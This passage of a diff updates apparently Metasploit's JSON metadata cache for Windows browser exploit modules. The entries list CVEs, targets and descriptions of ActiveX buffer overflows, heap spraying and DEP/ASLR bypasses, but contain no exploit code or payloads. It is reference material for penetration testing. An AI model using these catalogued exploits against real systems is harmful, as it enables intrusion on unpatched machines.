ActiveX control in the Tumbleweed\n SecureTransport suite. By sending an overly long string to the\n TransferFile() 'remotefile' function, an attacker may be able\n to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the vcst_eu.dll\n FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed\n SecureTransport suite. By sending an overly long string to the\n TransferFile() 'remotefile' function, an attacker may be able\n to execute arbitrary code.", "references": [ "CVE-2008-1724", "OSVDB-44252", @@ -150700,18 +153874,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal vcst_eu.dll", "Windows 2000 Pro English", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/tumbleweed_filetransfer.rb", "is_install_path": true, "ref_name": "windows/browser/tumbleweed_filetransfer", @@ -150719,6 +153889,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150726,9 +153905,7 @@ "exploit_windows/browser/ubisoft_uplay_cmd_exec": { "name": "Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution", "fullname": "exploit/windows/browser/ubisoft_uplay_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-29", "type": "exploit", @@ -150738,7 +153915,7 @@ "phillips321 ", "Richard Hicks " ], - "description": "The uplay ActiveX component allows an attacker to execute any command line action.\n User must sign in, unless auto-sign in is enabled and uplay must not already be\n running. Due to the way the malicious executable is served (WebDAV), the module\n must be run on port 80, so please make sure you have enough privilege to do that.\n Ubisoft released patch 2.04 as of Mon 20th July.", + "description": "The uplay ActiveX component allows an attacker to execute any command line action.\n User must sign in, unless auto-sign in is enabled and uplay must not already be\n running. Due to the way the malicious executable is served (WebDAV), the module\n must be run on port 80, so please make sure you have enough privilege to do that.\n Ubisoft released patch 2.04 as of Mon 20th July.", "references": [ "CVE-2012-4177", "OSVDB-84402", @@ -150748,16 +153925,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/browser/ubisoft_uplay_cmd_exec", @@ -150765,6 +153938,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150772,9 +153954,7 @@ "exploit_windows/browser/ultramjcam_openfiledig_bof": { "name": "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow", "fullname": "exploit/windows/browser/ultramjcam_openfiledig_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-28", "type": "exploit", @@ -150782,7 +153962,7 @@ "rgod", "sinn3r " ], - "description": "This module exploits a vulnerability found in TRENDnet SecurView Internet\n Camera's ActiveX control. By supplying a long string of data as the sFilter\n argument of the OpenFileDlg() function, it is possible to trigger a buffer\n overflow condition due to WideCharToMultiByte (which converts unicode back to)\n overwriting the stack more than it should, which results arbitrary code execution\n under the context of the user.", + "description": "This module exploits a vulnerability found in TRENDnet SecurView Internet\n Camera's ActiveX control. By supplying a long string of data as the sFilter\n argument of the OpenFileDlg() function, it is possible to trigger a buffer\n overflow condition due to WideCharToMultiByte (which converts unicode back to)\n overwriting the stack more than it should, which results arbitrary code execution\n under the context of the user.", "references": [ "CVE-2012-4876", "OSVDB-80661", @@ -150791,19 +153971,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", "IE 7 on Windows XP SP3", "IE 7 on Windows Vista" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb", "is_install_path": true, "ref_name": "windows/browser/ultramjcam_openfiledig_bof", @@ -150811,6 +153987,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150818,9 +154003,7 @@ "exploit_windows/browser/ultraoffice_httpupload": { "name": "Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow", "fullname": "exploit/windows/browser/ultraoffice_httpupload", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-08-27", "type": "exploit", @@ -150828,7 +154011,7 @@ "shinnai", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in Ultra Shareware's Office\n Control. When processing the 'HttpUpload' method, the arguments are concatenated\n together to form a command line to run a bundled version of cURL. If the command\n fails to run, a stack-based buffer overflow occurs when building the error\n message. This is due to the use of sprintf() without proper bounds checking.\n\n NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload\n into memory unmodified.", + "description": "This module exploits a stack-based buffer overflow in Ultra Shareware's Office\n Control. When processing the 'HttpUpload' method, the arguments are concatenated\n together to form a command line to run a bundled version of cURL. If the command\n fails to run, a stack-based buffer overflow occurs when building the error\n message. This is due to the use of sprintf() without proper bounds checking.\n\n NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload\n into memory unmodified.", "references": [ "CVE-2008-3878", "OSVDB-47866", @@ -150838,16 +154021,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ultraoffice_httpupload.rb", "is_install_path": true, "ref_name": "windows/browser/ultraoffice_httpupload", @@ -150855,6 +154034,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150862,9 +154050,7 @@ "exploit_windows/browser/verypdf_pdfview": { "name": "VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow", "fullname": "exploit/windows/browser/verypdf_pdfview", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-06-16", "type": "exploit", @@ -150872,7 +154058,7 @@ "MC ", "dean " ], - "description": "The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow\n because it fails to properly bounds-check user-supplied data before copying\n it into an insufficiently sized memory buffer. An attacker can exploit this issue\n to execute arbitrary code within the context of the affected application.", + "description": "The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow\n because it fails to properly bounds-check user-supplied data before copying\n it into an insufficiently sized memory buffer. An attacker can exploit this issue\n to execute arbitrary code within the context of the affected application.", "references": [ "CVE-2008-5492", "OSVDB-49871", @@ -150881,16 +154067,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/verypdf_pdfview.rb", "is_install_path": true, "ref_name": "windows/browser/verypdf_pdfview", @@ -150898,6 +154080,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150905,9 +154096,7 @@ "exploit_windows/browser/viscom_movieplayer_drawtext": { "name": "Viscom Software Movie Player Pro SDK ActiveX 6.8", "fullname": "exploit/windows/browser/viscom_movieplayer_drawtext", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-12", "type": "exploit", @@ -150916,7 +154105,7 @@ "TecR0c ", "mr_me " ], - "description": "Stack-based buffer overflow in the MOVIEPLAYER.MoviePlayerCtrl.1 ActiveX control\n in MoviePlayer.ocx 6.8.0.0 in Viscom Software Movie Player Pro SDK ActiveX 6.8 allows\n remote attackers to execute arbitrary code via a long strFontName parameter to the\n DrawText method.\n\n The victim will first be required to trust the publisher Viscom Software.\n This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7\n with Java support.", + "description": "Stack-based buffer overflow in the MOVIEPLAYER.MoviePlayerCtrl.1 ActiveX control\n in MoviePlayer.ocx 6.8.0.0 in Viscom Software Movie Player Pro SDK ActiveX 6.8 allows\n remote attackers to execute arbitrary code via a long strFontName parameter to the\n DrawText method.\n\n The victim will first be required to trust the publisher Viscom Software.\n This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7\n with Java support.", "references": [ "CVE-2010-0356", "OSVDB-61634", @@ -150925,18 +154114,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows IE6-7", "Windows IE8 + JAVA 6 (DEP & ASLR BYPASS)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb", "is_install_path": true, "ref_name": "windows/browser/viscom_movieplayer_drawtext", @@ -150944,6 +154129,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150951,31 +154145,25 @@ "exploit_windows/browser/vlc_amv": { "name": "VLC AMV Dangling Pointer Vulnerability", "fullname": "exploit/windows/browser/vlc_amv", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-03-23", "type": "exploit", "author": [ "sinn3r " ], - "description": "This module exploits VLC media player when handling a .AMV file. By flipping\n the 0x41st byte in the file format (video width/height), VLC crashes due to an\n invalid pointer, which allows remote attackers to gain arbitrary code execution.\n The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also,\n please note that IE 8 targets require Java support in order to run properly.", + "description": "This module exploits VLC media player when handling a .AMV file. By flipping\n the 0x41st byte in the file format (video width/height), VLC crashes due to an\n invalid pointer, which allows remote attackers to gain arbitrary code execution.\n The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also,\n please note that IE 8 targets require Java support in order to run properly.", "references": [ "CVE-2010-3275", "OSVDB-71277", "URL-http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files", - "URL-http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11" + "URL-http://web.archive.org/web/20130610070348/http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 6 on XP SP3", @@ -150983,7 +154171,7 @@ "Internet Explorer 8 on XP SP3", "Internet Explorer 7 on Vista" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/vlc_amv.rb", "is_install_path": true, "ref_name": "windows/browser/vlc_amv", @@ -150991,6 +154179,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150998,9 +154195,7 @@ "exploit_windows/browser/vlc_mms_bof": { "name": "VLC MMS Stream Handling Buffer Overflow", "fullname": "exploit/windows/browser/vlc_mms_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-15", "type": "exploit", @@ -151009,28 +154204,24 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a buffer overflow in VLC media player VLC media player prior\n to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result\n in a stack buffer overflow when handling a malicious MMS URI.\n\n This module uses the browser as attack vector. A specially crafted MMS URI is\n used to trigger the overflow and get flow control through SEH overwrite. Control\n is transferred to code located in the heap through a standard heap spray.\n\n The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.", + "description": "This module exploits a buffer overflow in VLC media player VLC media player prior\n to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result\n in a stack buffer overflow when handling a malicious MMS URI.\n\n This module uses the browser as attack vector. A specially crafted MMS URI is\n used to trigger the overflow and get flow control through SEH overwrite. Control\n is transferred to code located in the heap through a standard heap spray.\n\n The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.", "references": [ "CVE-2012-1775", "OSVDB-80188", "URL-http://www.videolan.org/security/sa1201.html", - "URL-http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c" + "URL-http://web.archive.org/web/20130612051447/http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 6 on XP SP3", "Internet Explorer 7 on XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/vlc_mms_bof.rb", "is_install_path": true, "ref_name": "windows/browser/vlc_mms_bof", @@ -151038,6 +154229,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151045,9 +154245,7 @@ "exploit_windows/browser/webdav_dll_hijacker": { "name": "WebDAV Application DLL Hijacker", "fullname": "exploit/windows/browser/webdav_dll_hijacker", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2010-08-18", "type": "exploit", @@ -151056,7 +154254,7 @@ "jduck ", "jcran " ], - "description": "This module presents a directory of file extensions that can lead to\n code execution when opened from the share. The default EXTENSIONS option\n must be configured to specify a vulnerable application type.", + "description": "This module presents a directory of file extensions that can lead to\n code execution when opened from the share. The default EXTENSIONS option\n must be configured to specify a vulnerable application type.", "references": [ "URL-http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html", "URL-http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt" @@ -151064,16 +154262,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/webdav_dll_hijacker.rb", "is_install_path": true, "ref_name": "windows/browser/webdav_dll_hijacker", @@ -151081,6 +154275,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151088,9 +154291,7 @@ "exploit_windows/browser/webex_ucf_newobject": { "name": "WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow", "fullname": "exploit/windows/browser/webex_ucf_newobject", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-08-06", "type": "exploit", @@ -151100,7 +154301,7 @@ "Guido Landi", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject\n ActiveX Control. If a long string is passed to the 'NewObject' method, a stack-\n based buffer overflow will occur when copying attacker-supplied data using the\n sprintf function.\n\n It is noteworthy that this vulnerability was discovered and reported by multiple\n independent researchers. To quote iDefense's advisory, \"Before this issue was\n publicly reported, at least three independent security researchers had knowledge\n of this issue; thus, it is reasonable to believe that even more people were aware\n of this issue before disclosure.\"\n\n NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload\n into memory unmodified.", + "description": "This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject\n ActiveX Control. If a long string is passed to the 'NewObject' method, a stack-\n based buffer overflow will occur when copying attacker-supplied data using the\n sprintf function.\n\n It is noteworthy that this vulnerability was discovered and reported by multiple\n independent researchers. To quote iDefense's advisory, \"Before this issue was\n publicly reported, at least three independent security researchers had knowledge\n of this issue; thus, it is reasonable to believe that even more people were aware\n of this issue before disclosure.\"\n\n NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload\n into memory unmodified.", "references": [ "CVE-2008-3558", "OSVDB-47344", @@ -151115,16 +154316,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/webex_ucf_newobject.rb", "is_install_path": true, "ref_name": "windows/browser/webex_ucf_newobject", @@ -151132,6 +154329,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151139,9 +154345,7 @@ "exploit_windows/browser/wellintech_kingscada_kxclientdownload": { "name": "KingScada kxClientDownload.ocx ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/wellintech_kingscada_kxclientdownload", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-01-14", "type": "exploit", @@ -151149,7 +154353,7 @@ "Andrea Micalizzi", "juan vazquez " ], - "description": "This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.\n The ProjectURL property can be abused to download and load arbitrary DLLs from\n arbitrary locations, leading to arbitrary code execution, because of a dangerous\n usage of LoadLibrary. Due to the nature of the vulnerability, this module will work\n only when Protected Mode is not present or not enabled.", + "description": "This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.\n The ProjectURL property can be abused to download and load arbitrary DLLs from\n arbitrary locations, leading to arbitrary code execution, because of a dangerous\n usage of LoadLibrary. Due to the nature of the vulnerability, this module will work\n only when Protected Mode is not present or not enabled.", "references": [ "CVE-2013-2827", "OSVDB-102135", @@ -151160,16 +154364,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb", "is_install_path": true, "ref_name": "windows/browser/wellintech_kingscada_kxclientdownload", @@ -151177,6 +154377,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151184,9 +154393,7 @@ "exploit_windows/browser/winamp_playlist_unc": { "name": "Winamp Playlist UNC Path Computer Name Overflow", "fullname": "exploit/windows/browser/winamp_playlist_unc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-01-29", "type": "exploit", @@ -151194,7 +154401,7 @@ "hdm ", "Faithless " ], - "description": "This module exploits a vulnerability in the Winamp media player.\n This flaw is triggered when an audio file path is specified, inside a\n playlist, that consists of a UNC path with a long computer name. This\n module delivers the playlist via the browser. This module has only\n been successfully tested on Winamp 5.11 and 5.12.", + "description": "This module exploits a vulnerability in the Winamp media player.\n This flaw is triggered when an audio file path is specified, inside a\n playlist, that consists of a UNC path with a long computer name. This\n module delivers the playlist via the browser. This module has only\n been successfully tested on Winamp 5.11 and 5.12.", "references": [ "CVE-2006-0476", "OSVDB-22789", @@ -151203,16 +154410,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Winamp 5.12 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/winamp_playlist_unc.rb", "is_install_path": true, "ref_name": "windows/browser/winamp_playlist_unc", @@ -151220,6 +154423,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151227,16 +154439,14 @@ "exploit_windows/browser/winamp_ultravox": { "name": "Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow", "fullname": "exploit/windows/browser/winamp_ultravox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-01-18", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Winamp 5.24. By\n sending an overly long artist tag, a remote attacker may\n be able to execute arbitrary code. This vulnerability can be\n exploited from the browser or the Winamp client itself.", + "description": "This module exploits a stack buffer overflow in Winamp 5.24. By\n sending an overly long artist tag, a remote attacker may\n be able to execute arbitrary code. This vulnerability can be\n exploited from the browser or the Winamp client itself.", "references": [ "CVE-2008-0065", "OSVDB-41707", @@ -151245,16 +154455,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Winamp 5.24" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/winamp_ultravox.rb", "is_install_path": true, "ref_name": "windows/browser/winamp_ultravox", @@ -151262,6 +154468,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151269,16 +154484,14 @@ "exploit_windows/browser/windvd7_applicationtype": { "name": "WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/windvd7_applicationtype", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-03-20", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX\n control in InterVideo WinDVD 7. By sending an overly long string\n to the \"ApplicationType()\" property, an attacker may be able to\n execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX\n control in InterVideo WinDVD 7. By sending an overly long string\n to the \"ApplicationType()\" property, an attacker may be able to\n execute arbitrary code.", "references": [ "CVE-2007-0348", "OSVDB-34315", @@ -151287,17 +154500,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English ALL", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/windvd7_applicationtype.rb", "is_install_path": true, "ref_name": "windows/browser/windvd7_applicationtype", @@ -151305,6 +154514,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151312,16 +154530,14 @@ "exploit_windows/browser/winzip_fileview": { "name": "WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/winzip_fileview", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-11-02", "type": "exploit", "author": [ "dean " ], - "description": "The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a\n remote attacker to execute arbitrary code on the system. The control contains\n several unsafe methods and is marked safe for scripting and safe for initialization.\n A remote attacker could exploit this vulnerability to execute arbitrary code on the\n victim system. WinZip 10.0 <= Build 6667 are vulnerable.", + "description": "The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a\n remote attacker to execute arbitrary code on the system. The control contains\n several unsafe methods and is marked safe for scripting and safe for initialization.\n A remote attacker could exploit this vulnerability to execute arbitrary code on the\n victim system. WinZip 10.0 <= Build 6667 are vulnerable.", "references": [ "CVE-2006-5198", "OSVDB-30433", @@ -151330,16 +154546,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/winzip_fileview.rb", "is_install_path": true, "ref_name": "windows/browser/winzip_fileview", @@ -151347,6 +154559,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151354,9 +154575,7 @@ "exploit_windows/browser/wmi_admintools": { "name": "Microsoft WMI Administration Tools ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/wmi_admintools", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-12-21", "type": "exploit", @@ -151365,7 +154584,7 @@ "MC ", "jduck " ], - "description": "This module exploits a memory trust issue in the Microsoft WMI\n Administration tools ActiveX control. When processing a specially crafted\n HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat\n the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods\n as a trusted pointer. It makes an indirect call via this pointer which leads\n to arbitrary code execution.\n\n This exploit utilizes a combination of heap spraying and the\n .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not\n opt-in to ASLR. As such, this module should be reliable on all Windows\n versions.\n\n The WMI Administrative Tools are a standalone download & install (linked in the\n references).", + "description": "This module exploits a memory trust issue in the Microsoft WMI\n Administration tools ActiveX control. When processing a specially crafted\n HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat\n the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods\n as a trusted pointer. It makes an indirect call via this pointer which leads\n to arbitrary code execution.\n\n This exploit utilizes a combination of heap spraying and the\n .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not\n opt-in to ASLR. As such, this module should be reliable on all Windows\n versions.\n\n The WMI Administrative Tools are a standalone download & install (linked in the\n references).", "references": [ "OSVDB-69942", "CVE-2010-3973", @@ -151377,18 +154596,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows Universal", "Debug Target (Crash)" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/wmi_admintools.rb", "is_install_path": true, "ref_name": "windows/browser/wmi_admintools", @@ -151396,6 +154611,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -151403,9 +154627,7 @@ "exploit_windows/browser/x360_video_player_set_text_bof": { "name": "X360 VideoPlayer ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/x360_video_player_set_text_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-30", "type": "exploit", @@ -151413,7 +154635,7 @@ "Rh0", "juan vazquez " ], - "description": "This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the\n X360 Software. By setting an overly long value to 'ConvertFile()', an attacker can overrun\n a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.", + "description": "This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the\n X360 Software. By setting an overly long value to 'ConvertFile()', an attacker can overrun\n a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.", "references": [ "EDB-35948", "URL-https://rh0dev.github.io/blog/2015/fun-with-info-leaks/" @@ -151421,16 +154643,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 